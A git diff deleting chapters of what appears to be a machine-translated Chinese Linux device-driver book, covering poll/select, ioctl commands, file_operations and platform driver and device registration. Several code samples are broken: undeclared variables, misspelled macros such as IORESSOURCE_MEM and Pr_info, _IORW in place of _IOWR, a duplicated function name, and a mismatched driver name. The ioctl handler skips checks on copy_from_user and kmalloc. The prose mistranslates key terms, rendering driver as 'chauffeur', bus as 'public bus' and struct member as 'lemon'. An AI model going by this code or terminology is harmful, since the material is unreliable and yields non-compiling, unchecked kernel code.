为每种事件类型(读取、写入、异常)声明一个等待队列需要实现被动等待,以便在没有数据可读取或设备不可写时将任务放入: - -```sh -static DECLARE_WAIT_QUEUE_HEAD(my_wq); -static DECLARE_WAIT_QUEUE_HEAD(my_rq); -``` - -2. 像这样实现`poll`功能: - -```sh -#include -static unsigned int eep_poll(struct file *file, poll_table *wait) -{ - unsigned int reval_mask = 0; - poll_wait(file, &my_wq, wait); - poll_wait(file, &my_rq, wait); - - if (new-data-is-ready) - reval_mask |= (POLLIN | POLLRDNORM); - if (ready_to_be_written) - reval_mask |= (POLLOUT | POLLWRNORM); - return reval_mask; -} -``` - -3. 当有新数据或设备可写时,通知等待队列: - -```sh -wake_up_interruptible(&my_rq); /* Ready to read */ -wake_up_interruptible(&my_wq); /* Ready to be written to */ -``` - -可以从驱动的`write()`方法中通知可读事件,这意味着写入的数据可以被读回,或者从 IRQ 处理程序中通知可读事件,这意味着外部设备发送了一些可以被读回的数据。另一方面,可以从驱动的`read()`方法中通知可写事件,这意味着缓冲区是空的,可以再次填充,或者从 IRQ 处理程序中通知可写事件,这意味着设备已经完成数据发送操作,并准备再次接受数据。 - -当使用休眠的输入/输出操作(阻塞的输入/输出)时,`read`或`write`方法可能会改变。轮询中使用的等待队列也必须用于读取。当用户需要读取时,如果有数据,该数据将立即发送到进程,您必须更新等待队列条件(设置为`false`);如果没有数据,进程将在等待队列中休眠。 - -如果`write`方法应该是馈送数据,那么在`write`回调中,您必须填充数据缓冲区并更新等待队列条件(设置为`true`,并唤醒读取器(参见*等待队列*一节)。如果是 IRQ,这些操作必须在它们的处理程序中执行。 - -以下是在给定充电设备上`select()`检测数据可用性的代码摘录: - -```sh -#include -#include -#include -#include -#include - -#define NUMBER_OF_BYTE 100 -#define CHAR_DEVICE "/dev/packt_char" - -char data[NUMBER_OF_BYTE]; - -int main(int argc, char **argv) -{ - int fd, retval; - ssize_t read_count; - fd_set readfds; - - fd = open(CHAR_DEVICE, O_RDONLY); - if(fd < 0) - /* Print a message and exit*/ - [...] - - while(1){ - FD_ZERO(&readfds); - FD_SET(fd, &readfds); - - /* - * One needs to be notified of "read" events only, without timeout. - * This call will put the process to sleep until it is notified the - * event for which it registered itself - */ - ret = select(fd + 1, &readfds, NULL, NULL, NULL); - - /* From this line, the process has been notified already */ - if (ret == -1) { - fprintf(stderr, "select call on %s: an error ocurred", CHAR_DEVICE); - break; - } - - /* - * file descriptor is now ready. - * This step assume we are interested in one file only. - */ - if (FD_ISSET(fd, &readfds)) { - read_count = read(fd, data, NUMBER_OF_BYTE); - if (read_count < 0 ) - /* An error occured. Handle this */ - [...] - - if (read_count != NUMBER_OF_BYTE) - /* We have read less than need bytes */ - [...] /* handle this */ - else - /* Now we can process data we have read */ - [...] - } - } - close(fd); - return EXIT_SUCCESS; -} -``` - -# ioctl 方法 - -一个典型的 Linux 系统包含大约 350 个系统调用(syscalls),但其中只有少数与文件操作相关联。有时,设备可能需要实现系统调用没有提供的特定命令,尤其是与文件相关联的命令,从而实现设备文件。在这种情况下,解决方案是使用**输入/输出控制** ( **ioctl** ),这是一种扩展与设备相关联的系统调用(实际上是命令)列表的方法..人们可以用它向设备发送特殊命令(`reset`、`shutdown`、`configure`等等)。如果驱动没有定义这个方法,内核会将`-ENOTTY`错误返回给任何`ioctl()`系统调用。 - -为了有效和安全,一个`ioctl`命令需要用一个系统独有的数字来标识。整个系统中 ioctl 号的唯一性将阻止它向错误的设备发送正确的命令,或者向正确的命令传递错误的参数(给定一个重复的 ioctl 号)。Linux 提供了四个帮助宏来创建`ioctl`标识符,这取决于是否有数据传输以及传输的方向。它们各自的原型是: - -```sh -_IO(MAGIC, SEQ_NO) -_IOW(MAGIC, SEQ_NO, TYPE) -_IOR(MAGIC, SEQ_NO, TYPE) -_IORW(MAGIC, SEQ_NO, TYPE) -``` - -他们的描述如下: - -* `_IO`:不需要数据传输的`ioctl` -* `_IOW`:`ioctl`需要写参数(`copy_from_user`或`get_user`) -* `_IOR`:`ioctl`需要读取参数(`copy_to_user`或`put_user`) -* `_IOWR`:`ioctl`需要写入和读取参数 - -这里描述了它们的参数的含义(按照它们被传递的顺序): - -1. 用 8 位(0 到 255)编码的数字,称为幻数。 -2. 序列号或命令标识,也是 8 位。 -3. 一种数据类型,如果有的话,它将通知内核要复制的大小。 - -它在内核源代码的*Documentation/ioctl/ioctl-decoding . txt*中有很好的记录,现有的`ioctl`在*Documentation/ioctl/ioctl-number . txt*中有列出,当你需要创建一个`ioctl`命令时,这是一个很好的开始。 - -# 生成 ioctl 号(命令) - -应该在专用头文件中生成自己的 ioctl 号。这不是强制性的,但建议这样做,因为这个标题也应该在用户空间中可用。换句话说,应该复制 ioctl 头文件,这样内核中就有一个,用户空间中也有一个,可以包含在用户应用中。现在让我们在一个真实的例子中生成 ioctl 编号: - -`eep_ioctl.h`: - -```sh -#ifndef PACKT_IOCTL_H -#define PACKT_IOCTL_H -/* - * We need to choose a magic number for our driver, and sequential numbers - * for each command: - */ -#define EEP_MAGIC 'E' -#define ERASE_SEQ_NO 0x01 -#define RENAME_SEQ_NO 0x02 -#define ClEAR_BYTE_SEQ_NO 0x03 -#define GET_SIZE 0x04 - -/* - * Partition name must be 32 byte max - */ -#define MAX_PART_NAME 32 - -/* - * Now let's define our ioctl numbers: - */ -#define EEP_ERASE _IO(EEP_MAGIC, ERASE_SEQ_NO) -#define EEP_RENAME_PART _IOW(EEP_MAGIC, RENAME_SEQ_NO, unsigned long) -#define EEP_GET_SIZE _IOR(EEP_MAGIC, GET_SIZE, int *) -#endif -``` - -# ioctl 的步骤 - -首先,让我们看看它的原型。它看起来像如下: - -```sh -long ioctl(struct file *f, unsigned int cmd, unsigned long arg); -``` - -只有一个步骤:当调用未定义的`ioctl`命令时,使用`switch ... case`语句并返回`-ENOTTY`错误。在[http://man7.org/linux/man-pages/man2/ioctl.2.html](http://man7.org/linux/man-pages/man2/ioctl.2.html)可以找到更多信息: - -```sh -/* - * User space code also need to include the header file in which ioctls - * defined are defined. This is eep_ioctl.h in our case. - */ -#include "eep_ioctl.h" -static long eep_ioctl(struct file *f, unsigned int cmd, unsigned long arg) -{ - int part; - char *buf = NULL; - int size = 1300; - - switch(cmd){ - case EEP_ERASE: - erase_eepreom(); - break; - case EEP_RENAME_PART: - buf = kmalloc(MAX_PART_NAME, GFP_KERNEL); - copy_from_user(buf, (char *)arg, MAX_PART_NAME); - rename_part(buf); - break; - case EEP_GET_SIZE: - copy_to_user((int*)arg, &size, sizeof(int)); - break; - default: - return -ENOTTY; - } - return 0; -} -``` - -If you think your `ioctl` command will need more than one argument, you should gather those arguments in a structure and just pass a pointer from the structure to `ioctl`. - -现在,从用户空间,您必须使用与驱动代码中相同的`ioctl`标题: - -`my_main.c` - -```sh -#include -#include -#include -#include -#include "eep_ioctl.h" /* our ioctl header file */ - -int main() -{ - int size = 0; - int fd; - char *new_name = "lorem_ipsum"; /* must not be longer than MAX_PART_NAME */ - - fd = open("/dev/eep-mem1", O_RDWR); - if (fd == -1){ - printf("Error while opening the eeprom\n"); - return -1; - } - - ioctl(fd, EEP_ERASE); /* ioctl call to erase partition */ - ioctl(fd, EEP_GET_SIZE, &size); /* ioctl call to get partition size */ - ioctl(fd, EEP_RENAME_PART, new_name); /* ioctl call to rename partition */ - - close(fd); - return 0; -} -``` - -# 填充文件操作结构 - -在编写内核模块时,当涉及到用参数静态初始化结构时,最好使用指定的初始化器。它包括命名需要赋值的成员。形式是`.member-name`指定应该初始化什么成员。这允许以未定义的顺序初始化成员,或者保持我们不想修改的字段不变。 - -一旦我们定义了我们的功能,我们只需要如下填充结构: - -```sh -static const struct file_operations eep_fops = { - .owner = THIS_MODULE, - .read = eep_read, - .write = eep_write, - .open = eep_open, - .release = eep_release, - .llseek = eep_llseek, - .poll = eep_poll, - .unlocked_ioctl = eep_ioctl, -}; -``` - -让我们记住,在`init`方法中,结构是作为参数给`cdev_init`的。 - -# 摘要 - -在本章中,我们已经揭开了字符设备的神秘面纱,并看到了如何让用户通过设备文件与我们的驱动进行交互。我们学习了如何向用户空间公开文件操作,并从内核中控制它们的行为。我们走得很远,您甚至能够实现多设备支持。下一章有点面向硬件,因为它涉及向用户空间展示硬件设备能力的平台驱动。角色驱动与平台驱动相结合的力量是惊人的。下一章见。 \ No newline at end of file diff --git a/docs/linux-device-driver-dev/05.md b/docs/linux-device-driver-dev/05.md deleted file mode 100644 index c41a5cc4..00000000 --- a/docs/linux-device-driver-dev/05.md +++ /dev/null @@ -1,627 +0,0 @@ -# 五、平台设备驱动 - -我们都知道即插即用设备。它们一插入就被内核处理。这些设备可能是 USB 或 PCI express,或者任何其他自动发现的设备。因此,还存在其他设备类型,它们不是可热插拔的,并且内核需要在被管理之前了解它们。有 I2C、通用异步收发器、串行接口和其他设备没有连接到支持枚举的总线。 - -有真正的物理总线你可能已经知道了:USB、I2S、I2C、UART、SPI、PCI、SATA 等等。这种总线是称为控制器的硬件设备。因为它们是 SoC 的一部分,所以不能被移除,不可被发现,也称为平台设备。 - -People often say platform devices are on-chip devices (embedded in the SoC). In practice, it is partially true, since they are hard-wired into the chip and can't be removed. But devices connected to I2C or SPI are not on-chip, and are platform devices too, because they are not discoverable. Similarly, there may be on-chip PCI or USB devices, but they are not platform devices, because they are discoverable. - -从 SoC 的角度来看,这些设备(总线)通过专用总线在内部连接,并且大多数情况下是专有的,并且特定于制造商。从内核的角度来看,这些都是根设备,没有任何连接。这就是*伪平台总线*进来的地方。伪平台总线,也称为平台总线,是一种内核虚拟总线,用于不位于内核已知的物理总线上的设备。在本章中,平台设备是指依赖伪平台总线的设备。 - -处理平台设备本质上需要两个步骤: - -* 注册一个平台驱动(使用唯一的名称)来管理您的设备 -* 用与驱动及其资源相同的名称注册您的平台设备,以便让内核知道您的设备在那里 - -话虽如此,在本章中,我们将讨论以下内容: - -* 平台设备及其驱动 -* 内核中的设备和驱动匹配机制 -* 向设备注册平台驱动以及平台数据 - -# 平台驱动 - -在继续之前,请注意以下警告。不是所有的平台设备都由平台驱动处理(或者应该说是伪平台驱动)。平台驱动专用于不基于传统总线的设备。I2C 设备或 SPI 设备是平台设备,但分别依赖于 I2C 或 SPI 总线,而不是平台总线。一切都需要用平台驱动手动完成。平台驱动必须实现一个`probe`函数,当模块被插入或设备声明时,内核调用该函数。开发平台驱动时,需要填充的主要结构是`struct platform_driver`,用平台总线核心注册您的驱动,专用功能如下所示: - -```sh -static struct platform_driver mypdrv = { - .probe = my_pdrv_probe, - .remove = my_pdrv_remove, - .driver = { - .name = "my_platform_driver", - .owner = THIS_MODULE, - }, -}; -``` - -让我们看看组成结构的每个元素的含义,以及它们的用途: - -* `probe()`:这是当设备在匹配发生后声明你的驱动时被调用的函数。后面我们会看到`probe`是如何被核心调用的。其声明如下: - -```sh -static int my_pdrv_probe(struct platform_device *pdev) -``` - -* `remove()`:这个叫做在设备不再需要的时候去掉驱动,它的声明是这样的: - -```sh -static int my_pdrv_remove(struct platform_device *pdev) -``` - -* `struct device_driver`:这描述了驱动本身,提供了名称、所有者和一些字段,我们将在后面看到。 - -向内核注册平台驱动就像在`init`函数中调用`platform_driver_register()`或`platform_driver_probe()`一样简单(当模块加载时)。这些功能之间的区别在于: - -* `platform_driver_register()`注册驱动并将其放入内核维护的驱动列表中,这样每当出现新的匹配时,就可以按需调用其`probe()`功能。为了防止您的驾驶员被插入并登记在该列表中,只需使用`next`功能。 -* 有了`platform_driver_probe()`,内核立即运行匹配循环,检查是否有同名的平台设备,如果有匹配就调用驱动的`probe()`,表示设备存在。如果没有,驱动将被忽略。此方法可防止延迟探测,因为它不会在系统上注册驱动。在这里,`probe`函数被放在`__init`部分,当内核启动完成时,该部分被释放,从而防止延迟探测并减少驱动的内存占用。如果您 100%确定设备存在于系统中,请使用此方法: - -```sh -ret = platform_driver_probe(&mypdrv, my_pdrv_probe); -``` - -下面是一个向内核注册的简单平台驱动: - -```sh -#include -#include -#include -#include - -static int my_pdrv_probe (struct platform_device *pdev){ - pr_info("Hello! device probed!\n"); - return 0; -} - -static void my_pdrv_remove(struct platform_device *pdev){ - pr_info("good bye reader!\n"); -} - -static struct platform_driver mypdrv = { - .probe = my_pdrv_probe, - .remove = my_pdrv_remove, - .driver = { - .name = KBUILD_MODNAME, - .owner = THIS_MODULE, - }, -}; - -static int __init my_drv_init(void) -{ - pr_info("Hello Guy\n"); - - /* Registering with Kernel */ - platform_driver_register(&mypdrv); - return 0; -} - -static void __exit my_pdrv_remove (void) -{ - Pr_info("Good bye Guy\n"); - - /* Unregistering from Kernel */ - platform_driver_unregister(&my_driver); -} - -module_init(my_drv_init); -module_exit(my_pdrv_remove); - -MODULE_LICENSE("GPL"); -MODULE_AUTHOR("John Madieu"); -MODULE_DESCRIPTION("My platform Hello World module"); -``` - -我们的模块在`init` / `exit`功能中除了向平台总线核心注册/注销之外,不做其他事情。大多数司机都是这样。在这种情况下,我们可以去掉`module_init`和`module_exit`,使用`module_platform_driver`宏。 - -`module_platform_driver`宏如下所示: - -```sh -/* - * module_platform_driver() - Helper macro for drivers that don't - * do anything special in module init/exit. This eliminates a lot - * of boilerplate. Each module may only use this macro once, and - * calling it replaces module_init() and module_exit() - */ -#define module_platform_driver(__platform_driver) \ -module_driver(__platform_driver, platform_driver_register, \ -platform_driver_unregister) -``` - -这个宏将负责向平台驱动核心注册我们的模块。不再需要`module_init`和`module_exit`宏,也不再需要`init`和`exit`功能。这并不意味着那些函数不再被调用,只是我们可以忘记自己编写它们。 - -The `probe` function is not a substitute to `init` function. The `probe` function is called every time when a given device matches with the driver, whereas the `init` function runs only once, when the module gets loaded. - -```sh - -[...] -static int my_driver_probe (struct platform_device *pdev){ - [...] -} - -static void my_driver_remove(struct platform_device *pdev){ - [...] -} - -static struct platform_drivermy_driver = { - [...] -}; -module_platform_driver(my_driver); -``` - -每个总线都有特定的宏,需要向其注册驱动。以下列表并非详尽无遗: - -* `module_platform_driver(struct platform_driver)`对于平台驱动,专用于不坐在传统物理总线上的设备(我们上面刚用过) -* `module_spi_driver(struct spi_driver)`用于 SPI 驱动 -* `module_i2c_driver(struct i2c_driver)`针对 I2C 司机 -* `module_pci_driver(struct pci_driver)`用于 PCI 驱动 -* `module_usb_driver(struct usb_driver)`用于 USB 驱动 -* `module_mdio_driver(struct mdio_driver)`为 mdio -* [...] - -If you don't know which bus your driver needs to sit on, then it is a platform driver, and you should use `platform_driver_register` or `platform_driver_probe` to register the driver. - -# 平台设备 - -实际上,我们应该说伪平台设备,因为这部分涉及的是位于伪平台总线上的设备。当您使用完驱动后,您将不得不向内核提供需要该驱动的设备。平台设备在内核中表示为`struct platform_device`的一个实例,如下所示: - -```sh -struct platform_device { - const char *name; - u32 id; - struct device dev; - u32 num_resources; - struct resource *resource; -}; -``` - -说到平台驱动,在驱动和设备匹配之前,`struct platform_device`和`static struct platform_driver.driver.name`的`name`字段必须相同。下一节将介绍`num_resources`和`struct resource *resource`字段。请记住,由于`resource`是一个数组,`num_resources`必须包含该数组的大小。 - -# 资源和平台数据 - -与热插拔设备相反,内核不知道您的系统上有什么设备,它们有什么功能,或者它们需要什么才能正常工作。没有自动协商过程,所以欢迎向内核提供任何信息。有两种方法通知内核设备需要的资源(irq、dma、内存区域、I/O 端口、总线)和数据(您可能希望传递给驱动的任何自定义和私有数据结构),讨论如下: - -# 设备供应-旧的折旧方式 - -此方法将用于不支持设备树的内核版本。使用这种方法,驱动保持通用,设备注册在板相关的源文件中。 - -# 资源 - -资源代表从硬件角度描述设备特性的所有元素,以及设备需要哪些元素才能正确设置和工作。内核中只有六种类型的资源,都列在`include/linux/ioport.h`中,用作描述资源类型的标志: - -```sh -#define IORESOURCE_IO 0x00000100 /* PCI/ISA I/O ports */ -#define IORESOURCE_MEM 0x00000200 /* Memory regions */ -#define IORESOURCE_REG 0x00000300 /* Register offsets */ -#define IORESOURCE_IRQ 0x00000400 /* IRQ line */ -#define IORESOURCE_DMA 0x00000800 /* DMA channels */ -#define IORESOURCE_BUS 0x00001000 /* Bus */ -``` - -资源在内核中表示为`struct resource`的一个实例: - -```sh -struct resource { - resource_size_t start; - resource_size_t end; - const char *name; - unsigned long flags; - }; -``` - -让我们解释一下结构中每个柠檬的含义: - -* `start/end`:表示资源开始/结束的位置。对于输入/输出或内存区域,它代表它们的开始/结束位置。对于 IRQ 线路、总线或 DMA 通道,开始/结束必须具有相同的值。 -* `flags`:这是一个表征资源类型的掩码,例如`IORESOURCE_BUS`。 -* `name`:标识或描述资源。 - -一旦提供了资源,就需要将它们提取回驱动中,以便使用它们。`probe`功能是提取它们的好地方。在继续之前,让我们记住平台设备驱动的`probe`函数的声明: - -```sh -int probe(struct platform_device *pdev); -``` - -`pdev`由内核自动填充,使用我们之前注册的数据和资源。让我们看看如何挑选它们。 - -嵌入在`struct platform_device`中的`struct resource`可以通过`platform_get_resource()`功能进行检索。以下是`platform_get_resource`的原型: - -```sh -struct resource *platform_get_resource(structplatform_device *dev, - unsigned int type, unsigned int num); -``` - -第一个参数是平台设备本身的实例。第二个参数告诉我们需要什么样的资源。对于记忆,应该是`IORESOURCE_MEM`。再次,更多详情请看`include/linux/ioport.h`。`num`参数是一个表示所需资源类型的索引。零表示第一个,依此类推。 - -如果资源是 IRQ,我们必须使用`int platform_get_irq(struct platform_device * pdev, unsigned intnum)`,其中`pdev`是平台设备,`num`是资源内的 IRQ 索引(如果有多个)。我们可以用来提取我们为设备注册的平台数据的整个`probe`功能如下: - -```sh -static int my_driver_probe(struct platform_device *pdev) -{ -struct my_gpios *my_gpio_pdata = - (struct my_gpios*)dev_get_platdata(&pdev->dev); - - int rgpio = my_gpio_pdata->reset_gpio; - int lgpio = my_gpio_pdata->led_gpio; - - struct resource *res1, *res2; - void *reg1, *reg2; - int irqnum; - - res1 = platform_get_resource(pdev, IORESSOURCE_MEM, 0); - if((!res1)){ - pr_err(" First Resource not available"); - return -1; - } - res2 = platform_get_resource(pdev, IORESSOURCE_MEM, 1); - if((!res2)){ - pr_err(" Second Resource not available"); - return -1; - } - - /* extract the irq */ - irqnum = platform_get_irq(pdev, 0); - Pr_info("\n IRQ number of Device: %d\n", irqnum); - - /* - * At this step, we can use gpio_request, on gpio, - * request_irq on irqnum and ioremap() on reg1 and reg2\. - * ioremap() is discussed in chapter 11, Kernel Memory Management - */ - [...] - return 0; -} -``` - -# 平台数据 - -其类型不是上一节中列举的资源类型的一部分的任何其他数据都落在这里(例如,GPIO)。不管它们的类型是什么,`struct platform_device`包含一个`struct device`字段,该字段又包含一个`struct platform_data`字段。通常,应该将该数据嵌入到一个结构中,并将其传递到`platform_device.device.platform_data`字段。例如,假设您声明一个平台设备,它需要两个 gpios 号作为平台数据,一个 irq 号和两个内存区域作为资源。以下示例显示了如何随设备一起注册平台数据。这里,我们使用`platform_device_register(struct platform_device *pdev)`功能,用它向平台核心注册平台设备: - -```sh -/* - * Other data than irq or memory must be embedded in a structure - * and passed to "platform_device.device.platform_data" - */ -struct my_gpios { - int reset_gpio; - int led_gpio; -}; - -/*our platform data*/ -static struct my_gpiosneeded_gpios = { - .reset_gpio = 47, - .led_gpio = 41, -}; - -/* Our resource array */ -static struct resource needed_resources[] = { - [0] = { /* The first memory region */ - .start = JZ4740_UDC_BASE_ADDR, - .end = JZ4740_UDC_BASE_ADDR + 0x10000 - 1, - .flags = IORESOURCE_MEM, - .name = "mem1", - }, - [1] = { - .start = JZ4740_UDC_BASE_ADDR2, - .end = JZ4740_UDC_BASE_ADDR2 + 0x10000 -1, - .flags = IORESOURCE_MEM, - .name = "mem2", - }, - [2] = { - .start = JZ4740_IRQ_UDC, - .end = JZ4740_IRQ_UDC, - .flags = IORESOURCE_IRQ, - .name = "mc", - }, -}; - -static struct platform_devicemy_device = { - .name = "my-platform-device", - .id = 0, - .dev = { - .platform_data = &needed_gpios, - }, - .resource = needed_resources, - .num_resources = ARRY_SIZE(needed_resources), -}; -platform_device_register(&my_device); -``` - -在前面的例子中,我们使用了`IORESOURCE_IRQ`和`IORESOURCE_MEM`来通知内核我们提供了什么样的资源。要查看所有其他标志类型,请查看内核树中的`include/linux/ioport.h`。 - -为了检索我们之前注册的平台数据,我们本可以只使用`pdev->dev.platform_data`(记住`struct platform_device`结构),但是建议使用内核提供的函数(诚然,它也是这么做的): - -```sh -void *dev_get_platdata(const struct device *dev) -struct my_gpios *picked_gpios = dev_get_platdata(&pdev->dev); -``` - -# 平台设备在哪里申报? - -设备与其资源和数据一起注册。在这种旧的折旧方法中,它们被声明为一个单独的模块,或者在`arch//mach-xxx/yyyy.c`的板`init`文件中,在我们的例子中是`arch/arm/mach-imx/mach-imx6q.c`,因为我们使用基于恩智浦 i.MX6Q 的 UDOO 四元。功能`platform_device_register()`让你做到: - -```sh -static struct platform_device my_device = { - .name = "my_drv_name", - .id = 0, - .dev.platform_data = &my_device_pdata, - .resource = jz4740_udc_resources, - .num_resources = ARRY_SIZE(jz4740_udc_resources), -}; -platform_device_register(&my_device); - -``` - -设备的名称非常重要,内核使用它来匹配同名的驱动。 - -# 设备供应-新的推荐方式 - -在第一种方法中,任何修改都需要重建整个内核。如果内核必须包含任何特定于应用/板的配置,它的大小将会惊人地增加。为了保持简单,并将设备声明(因为它们不是内核的一部分)与内核源代码分开,引入了一个新概念:*设备树*。DTS 的主要目标是从内核中移除非常具体且从未测试过的代码。使用设备树,平台数据和资源是同质的。设备树是一个硬件描述文件,其格式类似于树结构,其中每个设备都用一个节点表示,任何数据或资源或配置数据都表示为节点的属性。这样,您只需要在进行一些修改时重新编译设备树。设备树构成了下一章的主题,我们将看到如何将其介绍给平台设备。 - -# 设备、驱动和总线匹配 - -在任何匹配发生之前,Linux 调用`platform_match(struct device *dev, struct device_driver *drv)`。平台设备通过字符串与其驱动相匹配。根据 Linux 设备模型,总线元素是最重要的部分。每条总线都维护一个向其注册的驱动和设备列表。总线驱动负责设备和驱动的匹配。每当一个人连接一个新的设备或添加一个新的驱动到一条总线上,这条总线就开始匹配循环。 - -现在,假设您使用 I2C 内核提供的功能注册了一个新的 I2C 设备(在下一章中讨论)。内核将通过调用向 I2C 总线驱动注册的 I2C 核心匹配函数来触发 I2C 总线匹配循环,以检查是否已经有一个注册的驱动与您的设备匹配。如果没有匹配,什么都不会发生。如果匹配发生,内核将通知(通过称为 netlink socket 的通信机制)设备管理器(udev/mdev),设备管理器将加载(如果尚未加载)您的设备匹配的驱动。一旦驾驶员加载,其`probe()`功能将立即执行。I2C 不仅是这样工作的,而且每辆公共汽车都有自己的匹配机制,大致相同。总线匹配循环在每个设备或驱动注册时触发。 - -我们可以在下图中总结上一节所说的内容: - -![](img/00011.jpeg) - -每一个注册的司机和设备都坐在一辆公共汽车上。这是一棵树。USB 总线可能是 PCI 总线的子总线,而 MDIO 总线通常是其他设备的子总线,以此类推。因此,我们前面的数字变化如下: - -![](img/00012.jpeg) - -当您使用`platform_driver_probe()`功能注册驱动时,内核会遍历已注册的平台设备表并寻找匹配项。如果有的话,用平台数据调用匹配的驱动的`probe`函数。 - -# 平台设备和平台驱动如何匹配? - -到目前为止,我们只讨论了如何填充设备和驱动的不同结构。但是现在我们将看到它们是如何向内核注册的,以及 Linux 如何知道哪些设备由哪个驱动处理。答案是`MODULE_DEVICE_TABLE`。这个宏允许驱动公开它的标识表,该表描述了它可以支持哪些设备。同时,如果驱动可以编译为模块,`driver.name`字段应该与模块名称匹配。如果不匹配,模块不会自动加载,除非我们使用`MODULE_ALIAS`宏为模块添加了另一个名称。在编译时,从所有驱动中提取该信息,以便构建设备表。当内核必须找到设备的驱动时(当需要执行匹配时),内核遍历设备表。如果找到与添加设备的`compatible`(用于设备树)、`device/vendor id`或`name`(用于设备标识表或名称)匹配的条目,则加载提供该匹配的模块(运行模块的`init`功能),并调用`probe`功能。`MODULE_DEVICE_TABLE`宏在`linux/module.h`中定义: - -```sh -#define MODULE_DEVICE_TABLE(type, name) -``` - -以下是对此宏的每个参数的描述: - -* `type`:可以是`i2c`、`spi`、`acpi`、`of`、`platform`、`usb`、`pci`也可以是您在`include/linux/mod_devicetable.h`中找到的任何其他公交车。这取决于我们的设备所在的总线,或者我们想要使用的匹配机制。 -* `name`:这是`XXX_device_id`数组上的指针,用于设备匹配。如果我们谈论的是 I2C 设备,结构将是`i2c_device_id`。对于 SPI 设备,应该是`spi_device_id`,以此类推。对于设备树**开放固件**(的**)匹配机制,我们必须使用`of_device_id`。** - -For new non-discoverable platform device drivers, it is recommended not to use platform data anymore, but to use device tree capabilities instead, with OF matching mechanism. Please do note that the two methods are not mutually exclusive, thus one can mix these together. - -让我们更深入地了解匹配机制的细节,除了我们将在[第 6 章](06.html#4QFR40-dbde2ca892a6480b9727afb6a9c9e924)、*设备树的概念*中讨论的 OF 风格匹配。 - -# 内核设备和驱动匹配功能 - -在`/drivers/base/platform.c`中,内核中负责平台设备和驱动匹配功能的功能定义如下: - -```sh -static int platform_match(struct device *dev, struct device_driver *drv) -{ - struct platform_device *pdev = to_platform_device(dev); - struct platform_driver *pdrv = to_platform_driver(drv); - - /* When driver_override is set, only bind to the matching driver */ - if (pdev->driver_override) - return !strcmp(pdev->driver_override, drv->name); - - /* Attempt an OF style match first */ - if (of_driver_match_device(dev, drv)) - return 1; - - /* Then try ACPI style match */ - if (acpi_driver_match_device(dev, drv)) - return 1; - - /* Then try to match against the id table */ - if (pdrv->id_table) - return platform_match_id(pdrv->id_table, pdev) != NULL; - - /* fall-back to driver name match */ - return (strcmp(pdev->name, drv->name) == 0); -} -``` - -我们可以列举四种匹配机制。它们都基于字符串比较。如果我们看一下`platform_match_id`,我们就会明白事物在下面是如何工作的: - -```sh -static const struct platform_device_id *platform_match_id( - const struct platform_device_id *id, - struct platform_device *pdev) -{ - while (id->name[0]) { - if (strcmp(pdev->name, id->name) == 0) { - pdev->id_entry = id; - return id; - } - id++; - } - return NULL; -} -``` - -现在让我们看看我们在[第 4 章](04.html#3JCK20-dbde2ca892a6480b9727afb6a9c9e924)*角色设备驱动:*中讨论的`struct device_driver`结构 - -```sh -struct device_driver { - const char *name; - [...] - const struct of_device_id *of_match_table; - const struct acpi_device_id *acpi_match_table; -}; -``` - -我故意删除了我们不感兴趣的字段。`struct device_driver`构成了每个设备驱动的基础。无论是 I2C、SPI、TTY 还是其他设备驱动,它们都嵌入了`struct device_driver`元素。 - -# 风格与 ACPI 匹配 - -第 6 章、*设备树的概念*解释了风格的概念。第二种机制是基于 ACPI 表的匹配。我们不会在这本书里讨论它,但是为了你的信息,它使用了 struct `acpi_device_id`。 - -# 标识表匹配 - -这种搭配风格由来已久,基于`struct device_id`结构。所有设备 id 结构都在`include/linux/mod_devicetable.h`中定义。要找到正确的结构名称,您需要在`device_id`前面加上设备驱动所在的总线名称。例如:`struct i2c_device_id`代表 I2C,`struct platform_device_id`代表平台设备(不在真正的物理总线上),`spi_device_id`代表 SPI 设备,`usb_device_id`代表 USB,等等。用于平台设备的`device_id table`的典型结构如下: - -```sh -struct platform_device_id { - char name[PLATFORM_NAME_SIZE]; - kernel_ulong_t driver_data; -}; -``` - -无论如何,如果注册了一个标识表,那么每当内核运行匹配函数来为未知或新的平台设备找到驱动时,它都会被遍历。如果匹配,将调用匹配驱动的`probe`功能,并给出一个参数`struct platform_device`,它将保存一个指向发起匹配的匹配标识表条目的指针。`.driver_data`元素是一个`unsigned long`,它有时被铸造成指针地址以便指向任何东西,就像在 serial-imx 驱动中一样。以下是`drivers/tty/serial/imx.c`中`platform_device_id`的一个例子: - -```sh -static const struct platform_device_id imx_uart_devtype[] = { - { - .name = "imx1-uart", - .driver_data = (kernel_ulong_t) &imx_uart_devdata[IMX1_UART], - }, { - .name = "imx21-uart", - .driver_data = (kernel_ulong_t) &imx_uart_devdata[IMX21_UART], - }, { - .name = "imx6q-uart", - .driver_data = (kernel_ulong_t) &imx_uart_devdata[IMX6Q_UART], - }, { - /* sentinel */ - } -}; -``` - -`.name`字段必须与您在板特定文件中注册设备时给出的设备名称相同。负责这种比赛风格的功能是`platform_match_id`。如果你看看它在`drivers/base/platform.c`中的定义,你会看到: - -```sh -static const struct platform_device_id *platform_match_id( - const struct platform_device_id *id, - struct platform_device *pdev) -{ - while (id->name[0]) { - if (strcmp(pdev->name, id->name) == 0) { - pdev->id_entry = id; - return id; - } - id++; - } - return NULL; -} -``` - -在下面的例子中,这是从内核源代码中的`drivers/tty/serial/imx.c`中摘录的,可以看到平台数据是如何转换回原始数据结构的,仅仅是通过强制转换。这就是人们有时将任何数据结构作为平台数据传递的方式: - -```sh -static void serial_imx_probe_pdata(struct imx_port *sport, - struct platform_device *pdev) -{ - struct imxuart_platform_data *pdata = dev_get_platdata(&pdev->dev); - - sport->port.line = pdev->id; - sport->devdata = (structimx_uart_data *) pdev->id_entry->driver_data; - - if (!pdata) - return; - [...] -} -``` - -`pdev->id_entry`是一个`struct platform_device_id`,它是一个指向内核提供的匹配标识表条目的指针,它的`driver_data`元素被投射回数据结构上的一个指针。 - -**根据 ID 表匹配的设备特定数据** - -在上一节中,我们使用了`platform_device_id.platform_data`作为指针。您的驱动可能需要支持多种设备类型。在这种情况下,您将需要您支持的每种设备类型的特定设备数据。然后,您应该使用设备 id 作为包含所有可能的设备数据的数组的索引,而不再作为指针地址。以下是示例中的详细步骤: - -1. 根据驱动中需要支持的设备类型,我们定义了一个枚举: - -```sh -enum abx80x_chip { - AB0801, - AB0803, - AB0804, - AB0805, - AB1801, - AB1803, - AB1804, - AB1805, - ABX80X -}; -``` - -2. 我们定义了特定的数据类型结构: - -```sh -struct abx80x_cap { - u16 pn; -boolhas_tc; -}; -``` - -3. 我们用默认值填充一个数组,根据`device_id`中的索引,我们可以选择正确的数据: - -```sh -static struct abx80x_cap abx80x_caps[] = { - [AB0801] = 